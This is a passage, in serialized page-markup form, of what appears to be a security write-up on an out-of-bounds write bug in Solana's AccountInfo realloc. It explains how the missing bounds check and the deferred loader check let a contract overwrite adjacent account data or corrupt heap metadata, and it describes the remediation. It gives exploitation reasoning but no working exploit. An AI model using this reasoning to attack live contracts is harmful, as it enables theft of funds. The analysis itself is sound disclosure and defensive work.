ag":32,"props":14976,"children":14977},{},[14978,14980,14986,14988,14999,15001,15007,15009,15015,15017,15022,15024,15029,15031,15041,15042,15049,15050,15057,15064,15066,15072,15074,15080,15082,15087,15089,15094,15096,15102,15104,15109],{"type":29,"value":14979},"That ",{"type":23,"tag":38,"props":14981,"children":14983},{"className":14982},[],[14984],{"type":29,"value":14985},"as_ptr()",{"type":29,"value":14987}," call is ",{"type":23,"tag":55,"props":14989,"children":14992},{"href":14990,"rel":14991},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[59],[14993],{"type":23,"tag":38,"props":14994,"children":14996},{"className":14995},[],[14997],{"type":29,"value":14998},"RefCell::as_ptr()",{"type":29,"value":15000}," due to the ",{"type":23,"tag":38,"props":15002,"children":15004},{"className":15003},[],[15005],{"type":29,"value":15006},"Deref",{"type":29,"value":15008}," impl on ",{"type":23,"tag":38,"props":15010,"children":15012},{"className":15011},[],[15013],{"type":29,"value":15014},"Rc",{"type":29,"value":15016}," (remember also that ",{"type":23,"tag":38,"props":15018,"children":15020},{"className":15019},[],[15021],{"type":29,"value":14179},{"type":29,"value":15023}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":47,"props":15025,"children":15026},{},[15027],{"type":29,"value":15028},"get",{"type":29,"value":15030}," one through ",{"type":23,"tag":55,"props":15032,"children":15035},{"href":15033,"rel":15034},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[59],[15036],{"type":23,"tag":38,"props":15037,"children":15039},{"className":15038},[],[15040],{"type":29,"value":7478},{"type":29,"value":45},{"type":23,"tag":55,"props":15043,"children":15046},{"href":15044,"rel":15045},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[59],[15047],{"type":29,"value":15048},"and",{"type":29,"value":45},{"type":23,"tag":55,"props":15051,"children":15054},{"href":15052,"rel":15053},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[59],[15055],{"type":29,"value":15056},"frie",{"type":23,"tag":55,"props":15058,"children":15061},{"href":15059,"rel":15060},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[59],[15062],{"type":29,"value":15063},"nds",{"type":29,"value":15065},"). So from ",{"type":23,"tag":38,"props":15067,"children":15069},{"className":15068},[],[15070],{"type":29,"value":15071},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":29,"value":15073}," we get a ",{"type":23,"tag":38,"props":15075,"children":15077},{"className":15076},[],[15078],{"type":29,"value":15079},"*mut &mut [u8]",{"type":29,"value":15081}," - a ",{"type":23,"tag":47,"props":15083,"children":15084},{},[15085],{"type":29,"value":15086},"pointer",{"type":29,"value":15088}," to the ",{"type":23,"tag":47,"props":15090,"children":15091},{},[15092],{"type":29,"value":15093},"slice reference",{"type":29,"value":15095},". From here, we turn the pointer into a ",{"type":23,"tag":38,"props":15097,"children":15099},{"className":15098},[],[15100],{"type":29,"value":15101},"*const u64",{"type":29,"value":15103}," pointer and then offset by 1 ",{"type":23,"tag":38,"props":15105,"children":15107},{"className":15106},[],[15108],{"type":29,"value":6717},{"type":29,"value":15110}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":32,"props":15112,"children":15113},{},[15114,15116,15121,15123,15128,15130,15135,15137,15142,15144,15150],{"type":29,"value":15115},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":55,"props":15117,"children":15119},{"href":15118},"#Towards-safer-unsafe",[15120],{"type":29,"value":14788},{"type":29,"value":15122}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":38,"props":15124,"children":15126},{"className":15125},[],[15127],{"type":29,"value":6717},{"type":29,"value":15129}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":47,"props":15131,"children":15132},{},[15133],{"type":29,"value":15134},"reference",{"type":29,"value":15136}," (the ",{"type":23,"tag":38,"props":15138,"children":15140},{"className":15139},[],[15141],{"type":29,"value":14140},{"type":29,"value":15143},").So, what does ",{"type":23,"tag":38,"props":15145,"children":15147},{"className":15146},[],[15148],{"type":29,"value":15149},"&[T]",{"type":29,"value":15151}," look like in Rust?",{"type":23,"tag":32,"props":15153,"children":15154},{},[15155,15157,15164,15166,15179,15181,15187],{"type":29,"value":15156},"According to ",{"type":23,"tag":55,"props":15158,"children":15161},{"href":15159,"rel":15160},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[59],[15162],{"type":29,"value":15163},"the reference",{"type":29,"value":15165},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":55,"props":15167,"children":15170},{"href":15168,"rel":15169},"https://doc.rust-lang.org/reference/type-layout.html",[59],[15171,15173,15177],{"type":29,"value":15172},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":141,"props":15174,"children":15175},{},[15176],{"type":29,"value":8269},{"type":29,"value":15178}," we only document what is guaranteed today\"",{"type":29,"value":15180},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":38,"props":15182,"children":15184},{"className":15183},[],[15185],{"type":29,"value":15186},"rustc",{"type":29,"value":15188},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":131,"props":15190,"children":15193},{"className":15191,"code":15192,"language":1807,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n void* ptr;\n size_t len;\n};\n",[15194],{"type":23,"tag":38,"props":15195,"children":15196},{"__ignoreMap":7},[15197,15205,15217,15234,15247],{"type":23,"tag":141,"props":15198,"children":15199},{"class":143,"line":144},[15200],{"type":23,"tag":141,"props":15201,"children":15202},{"style":443},[15203],{"type":29,"value":15204},"// C language\n",{"type":23,"tag":141,"props":15206,"children":15207},{"class":143,"line":180},[15208,15212],{"type":23,"tag":141,"props":15209,"children":15210},{"style":449},[15211],{"type":29,"value":8079},{"type":23,"tag":141,"props":15213,"children":15214},{"style":154},[15215],{"type":29,"value":15216}," slice_ref {\n",{"type":23,"tag":141,"props":15218,"children":15219},{"class":143,"line":205},[15220,15225,15229],{"type":23,"tag":141,"props":15221,"children":15222},{"style":449},[15223],{"type":29,"value":15224}," void",{"type":23,"tag":141,"props":15226,"children":15227},{"style":160},[15228],{"type":29,"value":197},{"type":23,"tag":141,"props":15230,"children":15231},{"style":154},[15232],{"type":29,"value":15233}," ptr;\n",{"type":23,"tag":141,"props":15235,"children":15236},{"class":143,"line":218},[15237,15242],{"type":23,"tag":141,"props":15238,"children":15239},{"style":449},[15240],{"type":29,"value":15241}," size_t",{"type":23,"tag":141,"props":15243,"children":15244},{"style":154},[15245],{"type":29,"value":15246}," len;\n",{"type":23,"tag":141,"props":15248,"children":15249},{"class":143,"line":227},[15250],{"type":23,"tag":141,"props":15251,"children":15252},{"style":154},[15253],{"type":29,"value":1357},{"type":23,"tag":32,"props":15255,"children":15256},{},[15257],{"type":29,"value":15258},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":116,"props":15260,"children":15261},{},[15262,15267,15285],{"type":23,"tag":120,"props":15263,"children":15264},{},[15265],{"type":29,"value":15266},"Slices are laid out in the precise manner described",{"type":23,"tag":120,"props":15268,"children":15269},{},[15270,15272,15278,15280],{"type":29,"value":15271},"Pointers and ",{"type":23,"tag":38,"props":15273,"children":15275},{"className":15274},[],[15276],{"type":29,"value":15277},"usize",{"type":29,"value":15279}," are the same width as ",{"type":23,"tag":38,"props":15281,"children":15283},{"className":15282},[],[15284],{"type":29,"value":6717},{"type":23,"tag":120,"props":15286,"children":15287},{},[15288,15289,15294],{"type":29,"value":388},{"type":23,"tag":38,"props":15290,"children":15292},{"className":15291},[],[15293],{"type":29,"value":14179},{"type":29,"value":15295}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":32,"props":15297,"children":15298},{},[15299,15301,15306,15308,15314,15316,15321,15323,15329,15331,15336,15338,15348],{"type":29,"value":15300},"Assumption #2 is ",{"type":23,"tag":47,"props":15302,"children":15303},{},[15304],{"type":29,"value":15305},"probably",{"type":29,"value":15307}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":38,"props":15309,"children":15311},{"className":15310},[],[15312],{"type":29,"value":15313},"borrow_mut",{"type":29,"value":15315}," of the ",{"type":23,"tag":38,"props":15317,"children":15319},{"className":15318},[],[15320],{"type":29,"value":14179},{"type":29,"value":15322}," (through ",{"type":23,"tag":38,"props":15324,"children":15326},{"className":15325},[],[15327],{"type":29,"value":15328},"AccountInfo::try_borrow_mut_data()",{"type":29,"value":15330},"), and ",{"type":23,"tag":38,"props":15332,"children":15334},{"className":15333},[],[15335],{"type":29,"value":14179},{"type":29,"value":15337}," is not usable between multiple threads",{"type":23,"tag":676,"props":15339,"children":15340},{},[15341],{"type":23,"tag":55,"props":15342,"children":15346},{"href":15343,"ariaDescribedBy":15344,"dataFootnoteRef":7,"id":15345},"#user-content-fn-sendsync",[683],"user-content-fnref-sendsync",[15347],{"type":29,"value":1049},{"type":29,"value":15349},", so we already have exclusive access.",{"type":23,"tag":32,"props":15351,"children":15352},{},[15353,15355,15359],{"type":29,"value":15354},"A few more ",{"type":23,"tag":47,"props":15356,"children":15357},{},[15358],{"type":29,"value":5781},{"type":29,"value":15360}," things of note, that could have gone badly but didn't:",{"type":23,"tag":15362,"props":15363,"children":15364},"ul",{},[15365,15407],{"type":23,"tag":120,"props":15366,"children":15367},{},[15368,15370,15376,15378,15383,15385,15390,15392,15397,15399,15405],{"type":29,"value":15369},"By reborrowing the pointer (the ",{"type":23,"tag":38,"props":15371,"children":15373},{"className":15372},[],[15374],{"type":29,"value":15375},"&mut *(\u003Cvalue of type *mut u64>)",{"type":29,"value":15377},"), we've created a reference with an ",{"type":23,"tag":47,"props":15379,"children":15380},{},[15381],{"type":29,"value":15382},"unbounded lifetime",{"type":29,"value":15384},". Rust is free to infer ",{"type":23,"tag":47,"props":15386,"children":15387},{},[15388],{"type":29,"value":15389},"any",{"type":29,"value":15391}," lifetime for ",{"type":23,"tag":38,"props":15393,"children":15395},{"className":15394},[],[15396],{"type":29,"value":542},{"type":29,"value":15398}," (including ",{"type":23,"tag":38,"props":15400,"children":15402},{"className":15401},[],[15403],{"type":29,"value":15404},"'static",{"type":29,"value":15406},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":120,"props":15408,"children":15409},{},[15410,15412,15418,15420,15425,15427,15432,15434,15439,15441,15446,15448,15453,15455,15460,15462,15468,15470,15475,15477,15482,15484,15489,15491,15496,15498,15503],{"type":29,"value":15411},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":38,"props":15413,"children":15415},{"className":15414},[],[15416],{"type":29,"value":15417},"RefMut",{"type":29,"value":15419}," returned from ",{"type":23,"tag":38,"props":15421,"children":15423},{"className":15422},[],[15424],{"type":29,"value":12552},{"type":29,"value":15426},", but the ",{"type":23,"tag":38,"props":15428,"children":15430},{"className":15429},[],[15431],{"type":29,"value":15417},{"type":29,"value":15433}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":38,"props":15435,"children":15437},{"className":15436},[],[15438],{"type":29,"value":542},{"type":29,"value":15440}," a ",{"type":23,"tag":47,"props":15442,"children":15443},{},[15444],{"type":29,"value":15445},"mutable",{"type":29,"value":15447}," pointer to the ",{"type":23,"tag":38,"props":15449,"children":15451},{"className":15450},[],[15452],{"type":29,"value":14179},{"type":29,"value":15454},"'s data, but the ",{"type":23,"tag":38,"props":15456,"children":15458},{"className":15457},[],[15459],{"type":29,"value":14179},{"type":29,"value":15461}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":38,"props":15463,"children":15465},{"className":15464},[],[15466],{"type":29,"value":15467},"Mutex",{"type":29,"value":15469}," instead of a ",{"type":23,"tag":38,"props":15471,"children":15473},{"className":15472},[],[15474],{"type":29,"value":14179},{"type":29,"value":15476}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":38,"props":15478,"children":15480},{"className":15479},[],[15481],{"type":29,"value":542},{"type":29,"value":15483}," and writing to it ",{"type":23,"tag":47,"props":15485,"children":15486},{},[15487],{"type":29,"value":15488},"and succeed",{"type":29,"value":15490},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":38,"props":15492,"children":15494},{"className":15493},[],[15495],{"type":29,"value":542},{"type":29,"value":15497}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":38,"props":15499,"children":15501},{"className":15500},[],[15502],{"type":29,"value":2367},{"type":29,"value":15504}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":32,"props":15506,"children":15507},{},[15508,15510,15515],{"type":29,"value":15509},"Ok, now that we've understood what the code is ",{"type":23,"tag":47,"props":15511,"children":15512},{},[15513],{"type":29,"value":15514},"trying",{"type":29,"value":15516}," to do, let's try to break it, shall we?",{"type":23,"tag":24,"props":15518,"children":15520},{"id":15519},"what-can-go-wrong",[15521],{"type":29,"value":15522},"What can go wrong?",{"type":23,"tag":8287,"props":15524,"children":15526},{"id":15525},"contracts",[15527],{"type":29,"value":15528},"Contracts",{"type":23,"tag":32,"props":15530,"children":15531},{},[15532,15534,15539,15541,15546,15548,15553,15555,15560],{"type":29,"value":15533},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":38,"props":15535,"children":15537},{"className":15536},[],[15538],{"type":29,"value":12316},{"type":29,"value":15540},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":38,"props":15542,"children":15544},{"className":15543},[],[15545],{"type":29,"value":12316},{"type":29,"value":15547}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":38,"props":15549,"children":15551},{"className":15550},[],[15552],{"type":29,"value":13970},{"type":29,"value":15554}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":38,"props":15556,"children":15558},{"className":15557},[],[15559],{"type":29,"value":2367},{"type":29,"value":15561}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":32,"props":15563,"children":15564},{},[15565,15567,15574],{"type":29,"value":15566},"There is ",{"type":23,"tag":55,"props":15568,"children":15571},{"href":15569,"rel":15570},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[59],[15572],{"type":29,"value":15573},"a check",{"type":29,"value":15575}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":131,"props":15577,"children":15579},{"className":1639,"code":15578,"language":1638,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n return Err(InstructionError::InvalidRealloc);\n}\n",[15580],{"type":23,"tag":38,"props":15581,"children":15582},{"__ignoreMap":7},[15583,15621,15651,15658,15691],{"type":23,"tag":141,"props":15584,"children":15585},{"class":143,"line":144},[15586,15590,15595,15599,15603,15607,15611,15616],{"type":23,"tag":141,"props":15587,"children":15588},{"style":148},[15589],{"type":29,"value":14255},{"type":23,"tag":141,"props":15591,"children":15592},{"style":750},[15593],{"type":29,"value":15594}," post_len",{"type":23,"tag":141,"props":15596,"children":15597},{"style":160},[15598],{"type":29,"value":322},{"type":23,"tag":141,"props":15600,"children":15601},{"style":184},[15602],{"type":29,"value":12968},{"type":23,"tag":141,"props":15604,"children":15605},{"style":154},[15606],{"type":29,"value":192},{"type":23,"tag":141,"props":15608,"children":15609},{"style":160},[15610],{"type":29,"value":197},{"type":23,"tag":141,"props":15612,"children":15613},{"style":750},[15614],{"type":29,"value":15615},"pre_len",{"type":23,"tag":141,"props":15617,"children":15618},{"style":154},[15619],{"type":29,"value":15620},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":23,"tag":141,"props":15622,"children":15623},{"class":143,"line":180},[15624,15629,15633,15637,15642,15646],{"type":23,"tag":141,"props":15625,"children":15626},{"style":160},[15627],{"type":29,"value":15628}," ||",{"type":23,"tag":141,"props":15630,"children":15631},{"style":750},[15632],{"type":29,"value":15594},{"type":23,"tag":141,"props":15634,"children":15635},{"style":160},[15636],{"type":29,"value":12870},{"type":23,"tag":141,"props":15638,"children":15639},{"style":154},[15640],{"type":29,"value":15641}," MAX_PERMITTED_DATA_LENGTH ",{"type":23,"tag":141,"props":15643,"children":15644},{"style":449},[15645],{"type":29,"value":7518},{"type":23,"tag":141,"props":15647,"children":15648},{"style":725},[15649],{"type":29,"value":15650}," usize\n",{"type":23,"tag":141,"props":15652,"children":15653},{"class":143,"line":205},[15654],{"type":23,"tag":141,"props":15655,"children":15656},{"style":154},[15657],{"type":29,"value":766},{"type":23,"tag":141,"props":15659,"children":15660},{"class":143,"line":218},[15661,15666,15670,15674,15678,15682,15687],{"type":23,"tag":141,"props":15662,"children":15663},{"style":148},[15664],{"type":29,"value":15665}," return",{"type":23,"tag":141,"props":15667,"children":15668},{"style":725},[15669],{"type":29,"value":14425},{"type":23,"tag":141,"props":15671,"children":15672},{"style":154},[15673],{"type":29,"value":192},{"type":23,"tag":141,"props":15675,"children":15676},{"style":725},[15677],{"type":29,"value":14434},{"type":23,"tag":141,"props":15679,"children":15680},{"style":160},[15681],{"type":29,"value":2141},{"type":23,"tag":141,"props":15683,"children":15684},{"style":725},[15685],{"type":29,"value":15686},"InvalidRealloc",{"type":23,"tag":141,"props":15688,"children":15689},{"style":154},[15690],{"type":29,"value":2496},{"type":23,"tag":141,"props":15692,"children":15693},{"class":143,"line":227},[15694],{"type":23,"tag":141,"props":15695,"children":15696},{"style":154},[15697],{"type":29,"value":2573},{"type":23,"tag":32,"props":15699,"children":15700},{},[15701,15703,15708,15710,15715],{"type":29,"value":15702},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":23,"tag":47,"props":15704,"children":15705},{},[15706],{"type":29,"value":15707},"finishes",{"type":29,"value":15709}," execution. ",{"type":23,"tag":47,"props":15711,"children":15712},{},[15713],{"type":29,"value":15714},"During",{"type":29,"value":15716}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":23,"tag":32,"props":15718,"children":15719},{},[15720,15722,15727,15729,15734,15736,15743],{"type":29,"value":15721},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":23,"tag":47,"props":15723,"children":15724},{},[15725],{"type":29,"value":15726},"arbitrary",{"type":29,"value":15728}," memory access through a mistakenly-",{"type":23,"tag":38,"props":15730,"children":15732},{"className":15731},[],[15733],{"type":29,"value":12316},{"type":29,"value":15735},"'d account, this falls in the relm of some ",{"type":23,"tag":55,"props":15737,"children":15740},{"href":15738,"rel":15739},"https://en.wikipedia.org/wiki/Buffer_overflow",[59],[15741],{"type":29,"value":15742},"old-school pwning",{"type":29,"value":15744}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":23,"tag":8287,"props":15746,"children":15748},{"id":15747},"not-contracts",[15749],{"type":29,"value":15750},"Not-contracts?",{"type":23,"tag":32,"props":15752,"children":15753},{},[15754,15756,15761,15763,15773,15775,15787,15789,15796,15798,15803,15805,15810,15812,15825,15827,15832,15834,15839],{"type":29,"value":15755},"Remember when we said that all this code makes sense ",{"type":23,"tag":47,"props":15757,"children":15758},{},[15759],{"type":29,"value":15760},"if the data points to the BPF loader's serialized buffer",{"type":29,"value":15762},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":23,"tag":55,"props":15764,"children":15767},{"href":15765,"rel":15766},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[59],[15768],{"type":23,"tag":38,"props":15769,"children":15771},{"className":15770},[],[15772],{"type":29,"value":13615},{"type":29,"value":15774}," are public, and so is its ",{"type":23,"tag":55,"props":15776,"children":15779},{"href":15777,"rel":15778},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[59],[15780,15785],{"type":23,"tag":38,"props":15781,"children":15783},{"className":15782},[],[15784],{"type":29,"value":13799},{"type":29,"value":15786}," method",{"type":29,"value":15788}," (which is ",{"type":23,"tag":55,"props":15790,"children":15793},{"href":15791,"rel":15792},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[59],[15794],{"type":29,"value":15795},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":29,"value":15797},"). The ",{"type":23,"tag":38,"props":15799,"children":15801},{"className":15800},[],[15802],{"type":29,"value":12316},{"type":29,"value":15804}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":23,"tag":38,"props":15806,"children":15808},{"className":15807},[],[15809],{"type":29,"value":13615},{"type":29,"value":15811}," ourselves - potentially through the ",{"type":23,"tag":55,"props":15813,"children":15816},{"href":15814,"rel":15815},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[59],[15817,15823],{"type":23,"tag":38,"props":15818,"children":15820},{"className":15819},[],[15821],{"type":29,"value":15822},"Account",{"type":29,"value":15824}," trait",{"type":29,"value":15826},", which is hardly documented at all and makes ",{"type":23,"tag":47,"props":15828,"children":15829},{},[15830],{"type":29,"value":15831},"no",{"type":29,"value":15833}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":23,"tag":38,"props":15835,"children":15837},{"className":15836},[],[15838],{"type":29,"value":2367},{"type":29,"value":15840}," buffer.",{"type":23,"tag":32,"props":15842,"children":15843},{},[15844,15846,15857,15859,15865,15867,15873,15875,15888,15890,15895,15897,15902,15904,15909,15911,15916,15918,15923,15925,15930],{"type":29,"value":15845},"One long arm of this is ",{"type":23,"tag":55,"props":15847,"children":15850},{"href":15848,"rel":15849},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[59],[15851],{"type":23,"tag":38,"props":15852,"children":15854},{"className":15853},[],[15855],{"type":29,"value":15856},"solana_sdk::account::Account",{"type":29,"value":15858}," - in the client SDK. It holds an account's data in a ",{"type":23,"tag":38,"props":15860,"children":15862},{"className":15861},[],[15863],{"type":29,"value":15864},"Vec\u003Cu8>",{"type":29,"value":15866},", and it implements ",{"type":23,"tag":38,"props":15868,"children":15870},{"className":15869},[],[15871],{"type":29,"value":15872},"solana_program::account_info::Account",{"type":29,"value":15874}," (the trait from earlier) - by ",{"type":23,"tag":55,"props":15876,"children":15879},{"href":15877,"rel":15878},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[59],[15880,15882],{"type":29,"value":15881},"returning a reference to the contents of that ",{"type":23,"tag":38,"props":15883,"children":15885},{"className":15884},[],[15886],{"type":29,"value":15887},"Vec",{"type":29,"value":15889},". So, ",{"type":23,"tag":38,"props":15891,"children":15893},{"className":15892},[],[15894],{"type":29,"value":12316},{"type":29,"value":15896}," writes the size into the 8 bytes right before ",{"type":23,"tag":38,"props":15898,"children":15900},{"className":15899},[],[15901],{"type":29,"value":2367},{"type":29,"value":15903},"; ",{"type":23,"tag":38,"props":15905,"children":15907},{"className":15906},[],[15908],{"type":29,"value":2367},{"type":29,"value":15910}," is the buffer of a ",{"type":23,"tag":38,"props":15912,"children":15914},{"className":15913},[],[15915],{"type":29,"value":15887},{"type":29,"value":15917},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":23,"tag":38,"props":15919,"children":15921},{"className":15920},[],[15922],{"type":29,"value":13615},{"type":29,"value":15924}," out of an SDK ",{"type":23,"tag":38,"props":15926,"children":15928},{"className":15927},[],[15929],{"type":29,"value":15822},{"type":29,"value":15931}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":23,"tag":24,"props":15933,"children":15935},{"id":15934},"remediation",[15936],{"type":29,"value":15937},"Remediation",{"type":23,"tag":32,"props":15939,"children":15940},{},[15941],{"type":29,"value":15942},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":23,"tag":32,"props":15944,"children":15945},{},[15946,15948,15953,15955,15960,15962,15973,15975,15980,15982,15989],{"type":29,"value":15947},"The sensible thing to do would be to store the initial size in the ",{"type":23,"tag":38,"props":15949,"children":15951},{"className":15950},[],[15952],{"type":29,"value":13615},{"type":29,"value":15954},"... except for the fact that the layout of ",{"type":23,"tag":38,"props":15956,"children":15958},{"className":15957},[],[15959],{"type":29,"value":13615},{"type":29,"value":15961}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":23,"tag":676,"props":15963,"children":15964},{},[15965],{"type":23,"tag":55,"props":15966,"children":15970},{"href":15967,"ariaDescribedBy":15968,"dataFootnoteRef":7,"id":15969},"#user-content-fn-layout",[683],"user-content-fnref-layout",[15971],{"type":29,"value":15972},"3",{"type":29,"value":15974}," So, with changing ",{"type":23,"tag":38,"props":15976,"children":15978},{"className":15977},[],[15979],{"type":29,"value":13615},{"type":29,"value":15981}," out of the question, the Solana team came up with a different place to stash the information: inside a section of padding in the serialized buffer passed from the runtime. This happened to be next to where the pubkey was stored, which resulted in the creation of ",{"type":23,"tag":55,"props":15983,"children":15986},{"href":15984,"rel":15985},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#74-85",[59],[15987],{"type":29,"value":15988},"this function",{"type":29,"value":114},{"type":23,"tag":131,"props":15991,"children":15993},{"className":1639,"code":15992,"language":1638,"meta":7,"style":7},"/// Return the account's original data length when it was serialized for the\n/// current program invocation.\n///\n/// # Safety\n///\n/// This method assumes that the original data length was serialized as a u32\n/// integer in the 4 bytes immediately preceding the serialized account key.\npub unsafe fn original_data_len(&self) -> usize {\n let key_ptr = self.key as *const _ as *const u8;\n let original_data_len_ptr = key_ptr.offset(-4) as *const u32;\n *original_data_len_ptr as usize\n}\n",[15994],{"type":23,"tag":38,"props":15995,"children":15996},{"__ignoreMap":7},[15997,16005,16013,16021,16029,16036,16044,16052,16100,16165,16231,16252],{"type":23,"tag":141,"props":15998,"children":15999},{"class":143,"line":144},[16000],{"type":23,"tag":141,"props":16001,"children":16002},{"style":443},[16003],{"type":29,"value":16004},"/// Return the account's original data length when it was serialized for the\n",{"type":23,"tag":141,"props":16006,"children":16007},{"class":143,"line":180},[16008],{"type":23,"tag":141,"props":16009,"children":16010},{"style":443},[16011],{"type":29,"value":16012},"/// current program invocation.\n",{"type":23,"tag":141,"props":16014,"children":16015},{"class":143,"line":205},[16016],{"type":23,"tag":141,"props":16017,"children":16018},{"style":443},[16019],{"type":29,"value":16020},"///\n",{"type":23,"tag":141,"props":16022,"children":16023},{"class":143,"line":218},[16024],{"type":23,"tag":141,"props":16025,"children":16026},{"style":443},[16027],{"type":29,"value":16028},"/// # Safety\n",{"type":23,"tag":141,"props":16030,"children":16031},{"class":143,"line":227},[16032],{"type":23,"tag":141,"props":16033,"children":16034},{"style":443},[16035],{"type":29,"value":16020},{"type":23,"tag":141,"props":16037,"children":16038},{"class":143,"line":241},[16039],{"type":23,"tag":141,"props":16040,"children":16041},{"style":443},[16042],{"type":29,"value":16043},"/// This method assumes that the original data length was serialized as a u32\n",{"type":23,"tag":141,"props":16045,"children":16046},{"class":143,"line":262},[16047],{"type":23,"tag":141,"props":16048,"children":16049},{"style":443},[16050],{"type":29,"value":16051},"/// integer in the 4 bytes immediately preceding the serialized account key.\n",{"type":23,"tag":141,"props":16053,"children":16054},{"class":143,"line":271},[16055,16059,16063,16067,16072,16076,16080,16084,16088,16092,16096],{"type":23,"tag":141,"props":16056,"children":16057},{"style":449},[16058],{"type":29,"value":12368},{"type":23,"tag":141,"props":16060,"children":16061},{"style":449},[16062],{"type":29,"value":13266},{"type":23,"tag":141,"props":16064,"children":16065},{"style":449},[16066],{"type":29,"value":12373},{"type":23,"tag":141,"props":16068,"children":16069},{"style":184},[16070],{"type":29,"value":16071}," original_data_len",{"type":23,"tag":141,"props":16073,"children":16074},{"style":154},[16075],{"type":29,"value":192},{"type":23,"tag":141,"props":16077,"children":16078},{"style":160},[16079],{"type":29,"value":1770},{"type":23,"tag":141,"props":16081,"children":16082},{"style":449},[16083],{"type":29,"value":12391},{"type":23,"tag":141,"props":16085,"children":16086},{"style":154},[16087],{"type":29,"value":1748},{"type":23,"tag":141,"props":16089,"children":16090},{"style":160},[16091],{"type":29,"value":12435},{"type":23,"tag":141,"props":16093,"children":16094},{"style":725},[16095],{"type":29,"value":12409},{"type":23,"tag":141,"props":16097,"children":16098},{"style":154},[16099],{"type":29,"value":1951},{"type":23,"tag":141,"props":16101,"children":16102},{"class":143,"line":293},[16103,16107,16112,16116,16120,16124,16129,16133,16137,16141,16145,16149,16153,16157,16161],{"type":23,"tag":141,"props":16104,"children":16105},{"style":449},[16106],{"type":29,"value":1659},{"type":23,"tag":141,"props":16108,"children":16109},{"style":750},[16110],{"type":29,"value":16111}," 